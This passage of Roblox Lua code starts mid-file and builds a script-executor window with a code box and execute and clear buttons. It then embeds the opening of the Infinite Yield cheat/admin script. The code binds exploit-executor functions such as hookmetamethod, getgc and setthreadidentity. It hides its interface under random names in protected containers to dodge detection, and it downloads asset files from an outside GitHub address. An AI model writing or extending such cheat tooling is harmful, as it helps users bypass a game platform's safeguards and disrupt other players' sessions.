Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["45"]["Size"] = UDim2.new(0, 38, 0, 39); G2L["45"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["45"]["Text"] = [[X]]; G2L["45"]["Position"] = UDim2.new(0.95394, 0, 0, 0); -- StarterGui.ScreenGui.Frame4.TextButton.LocalScript G2L["46"] = Instance.new("LocalScript", G2L["45"]); -- StarterGui.ScreenGui.Frame4.TextButton G2L["47"] = Instance.new("TextButton", G2L["42"]); G2L["47"]["BorderSizePixel"] = 0; G2L["47"]["TextSize"] = 14; G2L["47"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["47"]["BackgroundColor3"] = Color3.fromRGB(162, 48, 255); G2L["47"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["47"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["47"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["47"]["Text"] = [[BACK]]; G2L["47"]["Position"] = UDim2.new(0.75758, 0, 0.87593, 0); -- StarterGui.ScreenGui.Frame4.TextButton.LocalScript G2L["48"] = Instance.new("LocalScript", G2L["47"]); -- StarterGui.ScreenGui.Frame4.TextBox G2L["49"] = Instance.new("TextBox", G2L["42"]); G2L["49"]["CursorPosition"] = -1; G2L["49"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["49"]["BorderSizePixel"] = 0; G2L["49"]["TextWrapped"] = true; G2L["49"]["TextSize"] = 14; G2L["49"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["49"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["49"]["BackgroundColor3"] = Color3.fromRGB(46, 46, 46); G2L["49"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["49"]["PlaceholderText"] = [[-- put your script here]]; G2L["49"]["Size"] = UDim2.new(0, 789, 0, 265); G2L["49"]["Position"] = UDim2.new(0.02424, 0, 0.15136, 0); G2L["49"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["49"]["Text"] = [[]]; -- StarterGui.ScreenGui.Frame4.TextButton G2L["4a"] = Instance.new("TextButton", G2L["42"]); G2L["4a"]["TextWrapped"] = true; G2L["4a"]["BorderSizePixel"] = 2; G2L["4a"]["TextSize"] = 14; G2L["4a"]["TextScaled"] = true; G2L["4a"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4a"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["4a"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["4a"]["Text"] = [[execute]]; G2L["4a"]["Position"] = UDim2.new(0.02424, 0, 0.87593, 0); -- StarterGui.ScreenGui.Frame4.TextButton.LocalScript G2L["4b"] = Instance.new("LocalScript", G2L["4a"]); -- StarterGui.ScreenGui.Frame4.TextButton G2L["4c"] = Instance.new("TextButton", G2L["42"]); G2L["4c"]["TextWrapped"] = true; G2L["4c"]["BorderSizePixel"] = 2; G2L["4c"]["TextSize"] = 14; G2L["4c"]["TextScaled"] = true; G2L["4c"]["TextColor3"] = Color3.fromRGB(133, 85, 255); G2L["4c"]["BackgroundColor3"] = Color3.fromRGB(31, 181, 8); G2L["4c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4c"]["Size"] = UDim2.new(0, 200, 0, 50); G2L["4c"]["BorderColor3"] = Color3.fromRGB(145, 54, 255); G2L["4c"]["Text"] = [[clear]]; G2L["4c"]["Position"] = UDim2.new(0.37818, 0, 0.87593, 0); -- StarterGui.ScreenGui.Frame4.TextButton.LocalScript G2L["4d"] = Instance.new("LocalScript", G2L["4c"]); -- StarterGui.ScreenGui.Frame3.DraggableFrame local function C_3() local script = G2L["3"]; local frame = script.Parent local UserInputService = game:GetService("UserInputService") local dragging = false local dragInput local dragStart local startPos local function update(input) local delta = input.Position - dragStart frame.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) end frame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) frame.InputChanged:Connect(function(input) if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if dragging and input == dragInput then update(input) end end) end; task.spawn(C_3); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript local function C_6() local script = G2L["6"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent.Frame1.Visible = true script.Parent.Parent.Parent.Frame3.Visible = false script.Parent.Parent.Parent.Frame1.Position = script.Parent.Parent.Parent.Frame3.Position end) end; task.spawn(C_6); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript local function C_8() local script = G2L["8"]; local ogtext = script.Parent.Text script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent.Frame3:Destroy() end) end; task.spawn(C_8); -- StarterGui.ScreenGui.Frame3.TextButton.LocalScript local function C_a() local script = G2L["a"]; script.Parent.MouseButton1Click:Connect(function() if IY_LOADED and not _G.IY_DEBUG == true then -- error("Infinite Yield is already running!", 0) return end pcall(function() getgenv().IY_LOADED = true end) if not game:IsLoaded() then game.Loaded:Wait() end function missing(t, f, fallback) if type(f) == t then return f end return fallback end cloneref = missing("function", cloneref, function(...) return ... end) sethidden = missing("function", sethiddenproperty or set_hidden_property or set_hidden_prop) gethidden = missing("function", gethiddenproperty or get_hidden_property or get_hidden_prop) queueteleport = missing("function", queue_on_teleport or (syn and syn.queue_on_teleport) or (fluxus and fluxus.queue_on_teleport)) httprequest = missing("function", request or http_request or (syn and syn.request) or (http and http.request) or (fluxus and fluxus.request)) everyClipboard = missing("function", setclipboard or toclipboard or set_clipboard or (Clipboard and Clipboard.set)) firetouchinterest = missing("function", firetouchinterest) waxwritefile, waxreadfile = writefile, readfile writefile = missing("function", waxwritefile) and function(file, data, safe) if safe == true then return pcall(waxwritefile, file, data) end waxwritefile(file, data) end readfile = missing("function", waxreadfile) and function(file, safe) if safe == true then return pcall(waxreadfile, file) end return waxreadfile(file) end isfile = missing("function", isfile, readfile and function(file) local success, result = pcall(function() return readfile(file) end) return success and result ~= nil and result ~= "" end) makefolder = missing("function", makefolder) isfolder = missing("function", isfolder) waxgetcustomasset = missing("function", getcustomasset or getsynasset) hookfunction = missing("function", hookfunction) hookmetamethod = missing("function", hookmetamethod) getnamecallmethod = missing("function", getnamecallmethod or get_namecall_method) checkcaller = missing("function", checkcaller, function() return false end) newcclosure = missing("function", newcclosure) getgc = missing("function", getgc or get_gc_objects) setthreadidentity = missing("function", setthreadidentity or (syn and syn.set_thread_identity) or syn_context_set or setthreadcontext) replicatesignal = missing("function", replicatesignal) COREGUI = cloneref(game:GetService("CoreGui")) Players = cloneref(game:GetService("Players")) UserInputService = cloneref(game:GetService("UserInputService")) TweenService = cloneref(game:GetService("TweenService")) HttpService = cloneref(game:GetService("HttpService")) MarketplaceService = cloneref(game:GetService("MarketplaceService")) RunService = cloneref(game:GetService("RunService")) TeleportService = cloneref(game:GetService("TeleportService")) StarterGui = cloneref(game:GetService("StarterGui")) GuiService = cloneref(game:GetService("GuiService")) Lighting = cloneref(game:GetService("Lighting")) ContextActionService = cloneref(game:GetService("ContextActionService")) ReplicatedStorage = cloneref(game:GetService("ReplicatedStorage")) GroupService = cloneref(game:GetService("GroupService")) PathService = cloneref(game:GetService("PathfindingService")) SoundService = cloneref(game:GetService("SoundService")) Teams = cloneref(game:GetService("Teams")) StarterPlayer = cloneref(game:GetService("StarterPlayer")) InsertService = cloneref(game:GetService("InsertService")) ChatService = cloneref(game:GetService("Chat")) ProximityPromptService = cloneref(game:GetService("ProximityPromptService")) ContentProvider = cloneref(game:GetService("ContentProvider")) StatsService = cloneref(game:GetService("Stats")) MaterialService = cloneref(game:GetService("MaterialService")) AvatarEditorService = cloneref(game:GetService("AvatarEditorService")) TextService = cloneref(game:GetService("TextService")) TextChatService = cloneref(game:GetService("TextChatService")) CaptureService = cloneref(game:GetService("CaptureService")) VoiceChatService = cloneref(game:GetService("VoiceChatService")) IYMouse = cloneref(Players.LocalPlayer:GetMouse()) PlayerGui = cloneref(Players.LocalPlayer:FindFirstChildWhichIsA("PlayerGui")) PlaceId, JobId = game.PlaceId, game.JobId IsOnMobile = table.find({Enum.Platform.Android, Enum.Platform.IOS}, UserInputService:GetPlatform()) isLegacyChat = TextChatService.ChatVersion == Enum.ChatVersion.LegacyChatService -- xylex & europa local iyassets = { ["infiniteyield/assets/bindsandplugins.png"] = "rbxassetid://5147695474", ["infiniteyield/assets/close.png"] = "rbxassetid://5054663650", ["infiniteyield/assets/editaliases.png"] = "rbxassetid://5147488658", ["infiniteyield/assets/editkeybinds.png"] = "rbxassetid://129697930", ["infiniteyield/assets/edittheme.png"] = "rbxassetid://4911962991", ["infiniteyield/assets/editwaypoints.png"] = "rbxassetid://5147488592", ["infiniteyield/assets/imgstudiopluginlogo.png"] = "rbxassetid://4113050383", ["infiniteyield/assets/logo.png"] = "rbxassetid://1352543873", ["infiniteyield/assets/minimize.png"] = "rbxassetid://2406617031", ["infiniteyield/assets/pin.png"] = "rbxassetid://6234691350", ["infiniteyield/assets/reference.png"] = "rbxassetid://3523243755", ["infiniteyield/assets/settings.png"] = "rbxassetid://1204397029" } local function getcustomasset(asset) if waxgetcustomasset then local success, result = pcall(function() return waxgetcustomasset(asset) end) if success and result ~= nil and result ~= "" then return result end end return iyassets[asset] end if makefolder and isfolder and writefile and isfile then pcall(function() -- good executor trust local assets = "https://raw.githubusercontent.com/infyiff/backup/refs/heads/main/" for _, folder in {"infiniteyield", "infiniteyield/assets"} do if not isfolder(folder) then makefolder(folder) end end for path in iyassets do if not isfile(path) then writefile(path, game:HttpGet((path:gsub("infiniteyield/", assets)))) end end if IsOnMobile then writefile("infiniteyield/assets/.nomedia") end end) end currentVersion = "6.3.4" ScaledHolder = Instance.new("Frame") Scale = Instance.new("UIScale") Holder = Instance.new("Frame") Title = Instance.new("TextLabel") Dark = Instance.new("Frame") Cmdbar = Instance.new("TextBox") CMDsF = Instance.new("ScrollingFrame") cmdListLayout = Instance.new("UIListLayout") SettingsButton = Instance.new("ImageButton") ColorsButton = Instance.new("ImageButton") Settings = Instance.new("Frame") Prefix = Instance.new("TextLabel") PrefixBox = Instance.new("TextBox") Keybinds = Instance.new("TextLabel") StayOpen = Instance.new("TextLabel") Button = Instance.new("Frame") On = Instance.new("TextButton") Positions = Instance.new("TextLabel") EventBind = Instance.new("TextLabel") Plugins = Instance.new("TextLabel") Example = Instance.new("TextButton") Notification = Instance.new("Frame") Title_2 = Instance.new("TextLabel") Text_2 = Instance.new("TextLabel") CloseButton = Instance.new("TextButton") CloseImage = Instance.new("ImageLabel") PinButton = Instance.new("TextButton") PinImage = Instance.new("ImageLabel") Tooltip = Instance.new("Frame") Title_3 = Instance.new("TextLabel") Description = Instance.new("TextLabel") IntroBackground = Instance.new("Frame") Logo = Instance.new("ImageLabel") Credits = Instance.new("TextBox") KeybindsFrame = Instance.new("Frame") Close = Instance.new("TextButton") Add = Instance.new("TextButton") Delete = Instance.new("TextButton") Holder_2 = Instance.new("ScrollingFrame") Example_2 = Instance.new("Frame") Text_3 = Instance.new("TextLabel") Delete_2 = Instance.new("TextButton") KeybindEditor = Instance.new("Frame") background_2 = Instance.new("Frame") Dark_3 = Instance.new("Frame") Directions = Instance.new("TextLabel") BindTo = Instance.new("TextButton") TriggerLabel = Instance.new("TextLabel") BindTriggerSelect = Instance.new("TextButton") Add_2 = Instance.new("TextButton") Toggles = Instance.new("ScrollingFrame") ClickTP = Instance.new("TextLabel") Select = Instance.new("TextButton") ClickDelete = Instance.new("TextLabel") Select_2 = Instance.new("TextButton") Cmdbar_2 = Instance.new("TextBox") Cmdbar_3 = Instance.new("TextBox") CreateToggle = Instance.new("TextLabel") Button_2 = Instance.new("Frame") On_2 = Instance.new("TextButton") shadow_2 = Instance.new("Frame") PopupText_2 = Instance.new("TextLabel") Exit_2 = Instance.new("TextButton") ExitImage_2 = Instance.new("ImageLabel") PositionsFrame = Instance.new("Frame") Close_3 = Instance.new("TextButton") Delete_5 = Instance.new("TextButton") Part = Instance.new("TextButton") Holder_4 = Instance.new("ScrollingFrame") Example_4 = Instance.new("Frame") Text_5 = Instance.new("TextLabel") Delete_6 = Instance.new("TextButton") TP = Instance.new("TextButton") AliasesFrame = Instance.new("Frame") Close_2 = Instance.new("TextButton") Delete_3 = Instance.new("TextButton") Holder_3 = Instance.new("ScrollingFrame") Example_3 = Instance.new("Frame") Text_4 = Instance.new("TextLabel") Delete_4 = Instance.new("TextButton") Aliases = Instance.new("TextLabel") PluginsFrame = Instance.new("Frame") Close_4 = Instance.new("TextButton") Add_3 = Instance.new("TextButton") Holder_5 = Instance.new("ScrollingFrame") Example_5 = Instance.new("Frame") Text_6 = Instance.new("TextLabel") Delete_7 = Instance.new("TextButton") PluginEditor = Instance.new("Frame") background_3 = Instance.new("Frame") Dark_2 = Instance.new("Frame") Img = Instance.new("ImageButton") AddPlugin = Instance.new("TextButton") FileName = Instance.new("TextBox") About = Instance.new("TextLabel") Directions_2 = Instance.new("TextLabel") shadow_3 = Instance.new("Frame") PopupText_3 = Instance.new("TextLabel") Exit_3 = Instance.new("TextButton") ExitImage_3 = Instance.new("ImageLabel") AliasHint = Instance.new("TextLabel") PluginsHint = Instance.new("TextLabel") PositionsHint = Instance.new("TextLabel") ToPartFrame = Instance.new("Frame") background_4 = Instance.new("Frame") ChoosePart = Instance.new("TextButton") CopyPath = Instance.new("TextButton") Directions_3 = Instance.new("TextLabel") Path = Instance.new("TextLabel") shadow_4 = Instance.new("Frame") PopupText_5 = Instance.new("TextLabel") Exit_4 = Instance.new("TextButton") ExitImage_5 = Instance.new("ImageLabel") logs = Instance.new("Frame") shadow = Instance.new("Frame") Hide = Instance.new("TextButton") ImageLabel = Instance.new("ImageLabel") PopupText = Instance.new("TextLabel") Exit = Instance.new("TextButton") ImageLabel_2 = Instance.new("ImageLabel") background = Instance.new("Frame") chat = Instance.new("Frame") Clear = Instance.new("TextButton") SaveChatlogs = Instance.new("TextButton") Toggle = Instance.new("TextButton") scroll_2 = Instance.new("ScrollingFrame") join = Instance.new("Frame") Toggle_2 = Instance.new("TextButton") Clear_2 = Instance.new("TextButton") scroll_3 = Instance.new("ScrollingFrame") listlayout = Instance.new("UIListLayout",scroll_3) selectChat = Instance.new("TextButton") selectJoin = Instance.new("TextButton") function randomString() local length = math.random(10,20) local array = {} for i = 1, length do array[i] = string.char(math.random(32, 126)) end return table.concat(array) end PARENT = nil if get_hidden_gui or gethui then local hiddenUI = get_hidden_gui or gethui local Main = Instance.new("ScreenGui") Main.Name = randomString() Main.Parent = hiddenUI() PARENT = Main elseif (not is_sirhurt_closure) and (syn and syn.protect_gui) then local Main = Instance.new("ScreenGui") Main.Name = randomString() syn.protect_gui(Main) Main.Parent = COREGUI PARENT = Main elseif COREGUI:FindFirstChild("RobloxGui") then PARENT = COREGUI.RobloxGui else local Main = Instance.new("ScreenGui") Main.Name = randomString() Main.Parent = COREGUI PARENT = Main end shade1 = {} shade2 = {} shade3 = {} text1 = {} text2 = {} scroll = {} ScaledHolder.Name = randomString() ScaledHolder.Size = UDim2.fromScale(1, 1) ScaledHolder.BackgroundTransparency = 1 ScaledHolder.Parent = PARENT Scale.Name = randomString() Holder.Name = randomString() Holder.Parent = ScaledHolder Holder.Active = true Holder.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Holder.BorderSizePixel = 0 Holder.Position = UDim2.new(1, -250, 1, -220) Holder.Size = UDim2.new(0, 250, 0, 220) Holder.ZIndex = 10 table.insert(shade2,Holder) Title.Name = "Title" Title.Parent = Holder Title.Active = true Title.BackgroundColor3 = Color3.fromRGB(36,36,37) Title.BorderSizePixel = 0 Title.Size = UDim2.new(0, 250, 0, 20) Title.Font = Enum.Font.SourceSans Title.TextSize = 18 Title.Text = "Infinite Yield FE v" .. currentVersion do local emoji = ({ ["01 01"] = "🎆", [(function(Year) local A = math.floor(Year/100) local B = math.floor((13+8*A)/25) local C = (15-B+A-math.floor(A/4))%30 local D = (4+A-math.floor(A/4))%7 local E = (19*(Year%19)+C)%30 local F = (2*(Year%4)+4*(Year%7)+6*E+D)%7 local G = (22+E+F) if E == 29 and F == 6 then return "04 19" elseif E == 28 and F == 6 then return "04 18" elseif 31 < G then return ("04 %02d"):format(G-31) end return ("03 %02d"):format(G) end)(tonumber(os.date"%Y"))] = "🥚", ["10 31"] = "🎃", ["12 25"] = "🎄" })[os.date("%m %d")] if emoji then Title.Text = ("%s %s %s"):format(emoji, Title.Text, emoji) end end Title.TextColor3 = Color3.new(1, 1, 1) Title.ZIndex = 10 table.insert(shade1,Title) table.insert(text1,Title) Dark.Name = "Dark" Dark.Parent = Holder Dark.Active = true Dark.BackgroundColor3 = Color3.fromRGB(36, 36, 37) Dark.BorderSizePixel = 0 Dark.Position = UDim2.new(0, 0, 0, 45) Dark.Size = UDim2.new(0, 250, 0, 175) Dark.ZIndex = 10 table.insert(shade1,Dark) Cmdbar.Name = "Cmdbar" Cmdbar.Parent = Holder Cmdbar.BackgroundTransparency = 1 Cmdbar.BorderSizePixel = 0 Cmdbar.Position = UDim2.new(0, 5, 0, 20) Cmdbar.Size = UDim2.new(0, 240, 0, 25) Cmdbar.Font = Enum.Font.SourceSans Cmdbar.TextSize = 18 Cmdbar.TextXAlignment = Enum.TextXAlignment.Left Cmdbar.TextColor3 = Color3.new(1, 1, 1) Cmdbar.Text = "" Cmdbar.ZIndex = 10 Cmdbar.PlaceholderText = "Command Bar" CMDsF.Name = "CMDs" CMDsF.Parent = Holder CMDsF.BackgroundTransparency = 1 CMDsF.BorderSizePixel = 0 CMDsF.Position = UDim2.new(0, 5, 0, 45) CMDsF.Size = UDim2.new(0, 245, 0, 175) CMDsF.ScrollBarImageColor3 = Color3.fromRGB(78,78,79) CMDsF.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" CMDsF.CanvasSize = UDim2.new(0, 0, 0, 0) CMDsF.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" CMDsF.ScrollBarThickness = 8 CMDsF.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" CMDsF.VerticalScrollBarInset = 'Always' CMDsF.ZIndex = 10 table.insert(scroll,CMDsF) cmdListLayout.Parent = CMDsF SettingsButton.Name = "SettingsButton" SettingsButton.Parent = Holder SettingsButton.BackgroundTransparency = 1 SettingsButton.Position = UDim2.new(0, 230, 0, 0) SettingsButton.Size = UDim2.new(0, 20, 0, 20) SettingsButton.Image = getcustomasset("infiniteyield/assets/settings.png") SettingsButton.ZIndex = 10 ReferenceButton = Instance.new("ImageButton") ReferenceButton.Name = "ReferenceButton" ReferenceButton.Parent = Holder ReferenceButton.BackgroundTransparency = 1 ReferenceButton.Position = UDim2.new(0, 212, 0, 2) ReferenceButton.Size = UDim2.new(0, 16, 0, 16) ReferenceButton.Image = getcustomasset("infiniteyield/assets/reference.png") ReferenceButton.ZIndex = 10 Settings.Name = "Settings" Settings.Parent = Holder Settings.Active = true Settings.BackgroundColor3 = Color3.fromRGB(36, 36, 37) Settings.BorderSizePixel = 0 Settings.Position = UDim2.new(0, 0, 0, 220) Settings.Size = UDim2.new(0, 250, 0, 175) Settings.ZIndex = 10 table.insert(shade1,Settings) SettingsHolder = Instance.new("ScrollingFrame") SettingsHolder.Name = "Holder" SettingsHolder.Parent = Settings SettingsHolder.BackgroundTransparency = 1 SettingsHolder.BorderSizePixel = 0 SettingsHolder.Size = UDim2.new(1,0,1,0) SettingsHolder.ScrollBarImageColor3 = Color3.fromRGB(78,78,79) SettingsHolder.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" SettingsHolder.CanvasSize = UDim2.new(0, 0, 0, 235) SettingsHolder.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" SettingsHolder.ScrollBarThickness = 8 SettingsHolder.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" SettingsHolder.VerticalScrollBarInset = 'Always' SettingsHolder.ZIndex = 10 table.insert(scroll,SettingsHolder) Prefix.Name = "Prefix" Prefix.Parent = SettingsHolder Prefix.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Prefix.BorderSizePixel = 0 Prefix.BackgroundTransparency = 1 Prefix.Position = UDim2.new(0, 5, 0, 5) Prefix.Size = UDim2.new(1, -10, 0, 20) Prefix.Font = Enum.Font.SourceSans Prefix.TextSize = 14 Prefix.Text = "Prefix" Prefix.TextColor3 = Color3.new(1, 1, 1) Prefix.TextXAlignment = Enum.TextXAlignment.Left Prefix.ZIndex = 10 table.insert(shade2,Prefix) table.insert(text1,Prefix) PrefixBox.Name = "PrefixBox" PrefixBox.Parent = Prefix PrefixBox.BackgroundColor3 = Color3.fromRGB(78, 78, 79) PrefixBox.BorderSizePixel = 0 PrefixBox.Position = UDim2.new(1, -20, 0, 0) PrefixBox.Size = UDim2.new(0, 20, 0, 20) PrefixBox.Font = Enum.Font.SourceSansBold PrefixBox.TextSize = 14 PrefixBox.Text = '' PrefixBox.TextColor3 = Color3.new(0, 0, 0) PrefixBox.ZIndex = 10 table.insert(shade3,PrefixBox) table.insert(text2,PrefixBox) function makeSettingsButton(name,iconID,off) local button = Instance.new("TextButton") button.BackgroundColor3 = Color3.fromRGB(46, 46, 47) button.BorderSizePixel = 0 button.Position = UDim2.new(0,0,0,0) button.Size = UDim2.new(1,0,0,25) button.Text = "" button.ZIndex = 10 local icon = Instance.new("ImageLabel") icon.Name = "Icon" icon.Parent = button icon.Position = UDim2.new(0,5,0,5) icon.Size = UDim2.new(0,16,0,16) icon.BackgroundTransparency = 1 icon.Image = iconID icon.ZIndex = 10 if off then icon.ScaleType = Enum.ScaleType.Crop icon.ImageRectSize = Vector2.new(16,16) icon.ImageRectOffset = Vector2.new(off,0) end local label = Instance.new("TextLabel") label.Name = "ButtonLabel" label.Parent = button label.BackgroundTransparency = 1 label.Text = name label.Position = UDim2.new(0,28,0,0) label.Size = UDim2.new(1,-28,1,0) label.Font = Enum.Font.SourceSans label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.ZIndex = 10 label.TextXAlignment = Enum.TextXAlignment.Left table.insert(shade2,button) table.insert(text1,label) return button end ColorsButton = makeSettingsButton("Edit Theme",getcustomasset("infiniteyield/assets/edittheme.png")) ColorsButton.Position = UDim2.new(0, 5, 0, 55) ColorsButton.Size = UDim2.new(1, -10, 0, 25) ColorsButton.Name = "Colors" ColorsButton.Parent = SettingsHolder Keybinds = makeSettingsButton("Edit Keybinds",getcustomasset("infiniteyield/assets/editkeybinds.png")) Keybinds.Position = UDim2.new(0, 5, 0, 85) Keybinds.Size = UDim2.new(1, -10, 0, 25) Keybinds.Name = "Keybinds" Keybinds.Parent = SettingsHolder Aliases = makeSettingsButton("Edit Aliases",getcustomasset("infiniteyield/assets/editaliases.png")) Aliases.Position = UDim2.new(0, 5, 0, 115) Aliases.Size = UDim2.new(1, -10, 0, 25) Aliases.Name = "Aliases" Aliases.Parent = SettingsHolder StayOpen.Name = "StayOpen" StayOpen.Parent = SettingsHolder StayOpen.BackgroundColor3 = Color3.fromRGB(46, 46, 47) StayOpen.BorderSizePixel = 0 StayOpen.BackgroundTransparency = 1 StayOpen.Position = UDim2.new(0, 5, 0, 30) StayOpen.Size = UDim2.new(1, -10, 0, 20) StayOpen.Font = Enum.Font.SourceSans StayOpen.TextSize = 14 StayOpen.Text = "Keep Menu Open" StayOpen.TextColor3 = Color3.new(1, 1, 1) StayOpen.TextXAlignment = Enum.TextXAlignment.Left StayOpen.ZIndex = 10 table.insert(shade2,StayOpen) table.insert(text1,StayOpen) Button.Name = "Button" Button.Parent = StayOpen Button.BackgroundColor3 = Color3.fromRGB(78, 78, 79) Button.BorderSizePixel = 0 Button.Position = UDim2.new(1, -20, 0, 0) Button.Size = UDim2.new(0, 20, 0, 20) Button.ZIndex = 10 table.insert(shade3,Button) On.Name = "On" On.Parent = Button On.BackgroundColor3 = Color3.fromRGB(150, 150, 151) On.BackgroundTransparency = 1 On.BorderSizePixel = 0 On.Position = UDim2.new(0, 2, 0, 2) On.Size = UDim2.new(0, 16, 0, 16) On.Font = Enum.Font.SourceSans On.FontSize = Enum.FontSize.Size14 On.Text = "" On.TextColor3 = Color3.new(0, 0, 0) On.ZIndex = 10 Positions = makeSettingsButton("Edit/Goto Waypoints",getcustomasset("infiniteyield/assets/editwaypoints.png")) Positions.Position = UDim2.new(0, 5, 0, 145) Positions.Size = UDim2.new(1, -10, 0, 25) Positions.Name = "Waypoints" Positions.Parent = SettingsHolder EventBind = makeSettingsButton("Edit Event Binds",getcustomasset("infiniteyield/assets/bindsandplugins.png"),759) EventBind.Position = UDim2.new(0, 5, 0, 205) EventBind.Size = UDim2.new(1, -10, 0, 25) EventBind.Name = "EventBinds" EventBind.Parent = SettingsHolder Plugins = makeSettingsButton("Manage Plugins",getcustomasset("infiniteyield/assets/bindsandplugins.png"),743) Plugins.Position = UDim2.new(0, 5, 0, 175) Plugins.Size = UDim2.new(1, -10, 0, 25) Plugins.Name = "Plugins" Plugins.Parent = SettingsHolder Example.Name = "Example" Example.Parent = Holder Example.BackgroundTransparency = 1 Example.BorderSizePixel = 0 Example.Size = UDim2.new(0, 190, 0, 20) Example.Visible = false Example.Font = Enum.Font.SourceSans Example.TextSize = 18 Example.Text = "Example" Example.TextColor3 = Color3.new(1, 1, 1) Example.TextXAlignment = Enum.TextXAlignment.Left Example.ZIndex = 10 table.insert(text1,Example) Notification.Name = randomString() Notification.Parent = ScaledHolder Notification.BackgroundColor3 = Color3.fromRGB(36, 36, 37) Notification.BorderSizePixel = 0 Notification.Position = UDim2.new(1, -500, 1, 20) Notification.Size = UDim2.new(0, 250, 0, 100) Notification.ZIndex = 10 table.insert(shade1,Notification) Title_2.Name = "Title" Title_2.Parent = Notification Title_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Title_2.BorderSizePixel = 0 Title_2.Size = UDim2.new(0, 250, 0, 20) Title_2.Font = Enum.Font.SourceSans Title_2.TextSize = 14 Title_2.Text = "Notification Title" Title_2.TextColor3 = Color3.new(1, 1, 1) Title_2.ZIndex = 10 table.insert(shade2,Title_2) table.insert(text1,Title_2) Text_2.Name = "Text" Text_2.Parent = Notification Text_2.BackgroundTransparency = 1 Text_2.BorderSizePixel = 0 Text_2.Position = UDim2.new(0, 5, 0, 25) Text_2.Size = UDim2.new(0, 240, 0, 75) Text_2.Font = Enum.Font.SourceSans Text_2.TextSize = 16 Text_2.Text = "Notification Text" Text_2.TextColor3 = Color3.new(1, 1, 1) Text_2.TextWrapped = true Text_2.ZIndex = 10 table.insert(text1,Text_2) CloseButton.Name = "CloseButton" CloseButton.Parent = Notification CloseButton.BackgroundTransparency = 1 CloseButton.Position = UDim2.new(1, -20, 0, 0) CloseButton.Size = UDim2.new(0, 20, 0, 20) CloseButton.Text = "" CloseButton.ZIndex = 10 CloseImage.Parent = CloseButton CloseImage.BackgroundColor3 = Color3.new(1, 1, 1) CloseImage.BackgroundTransparency = 1 CloseImage.Position = UDim2.new(0, 5, 0, 5) CloseImage.Size = UDim2.new(0, 10, 0, 10) CloseImage.Image = getcustomasset("infiniteyield/assets/close.png") CloseImage.ZIndex = 10 PinButton.Name = "PinButton" PinButton.Parent = Notification PinButton.BackgroundTransparency = 1 PinButton.Size = UDim2.new(0, 20, 0, 20) PinButton.ZIndex = 10 PinButton.Text = "" PinImage.Parent = PinButton PinImage.BackgroundColor3 = Color3.new(1, 1, 1) PinImage.BackgroundTransparency = 1 PinImage.Position = UDim2.new(0, 3, 0, 3) PinImage.Size = UDim2.new(0, 14, 0, 14) PinImage.ZIndex = 10 PinImage.Image = getcustomasset("infiniteyield/assets/pin.png") Tooltip.Name = randomString() Tooltip.Parent = ScaledHolder Tooltip.Active = true Tooltip.BackgroundColor3 = Color3.fromRGB(36, 36, 37) Tooltip.BackgroundTransparency = 0.1 Tooltip.BorderSizePixel = 0 Tooltip.Size = UDim2.new(0, 200, 0, 96) Tooltip.Visible = false Tooltip.ZIndex = 10 table.insert(shade1,Tooltip) Title_3.Name = "Title" Title_3.Parent = Tooltip Title_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47) Title_3.BackgroundTransparency = 0.1 Title_3.BorderSizePixel = 0 Title_3.Size = UDim2.new(0, 200, 0, 20) Title_3.Font = Enum.Font.SourceSans Title_3.TextSize = 14 Title_3.Text = "" Title_3.TextColor3 = Color3.new(1, 1, 1) Title_3.TextTransparency = 0.1 Title_3.ZIndex = 10 table.insert(shade2,Title_3) table.insert(text1,Title_3) Description.Name = "Description" Description.Parent = Tooltip Description.BackgroundTransparency = 1 Description.BorderSizePixel = 0 Description.Size = UDim2.new(0,180,0,72) Description.Position = UDim2.new(0,10,0,18) Description.Font = Enum.Font.SourceSans Description.TextSize = 16 Description.Text = "" Description.TextColor3 = Color3.new(1, 1, 1) Description.TextTransparency = 0.1 Description.TextWrapped = true Description.ZIndex = 10 table.insert(text1,Description) 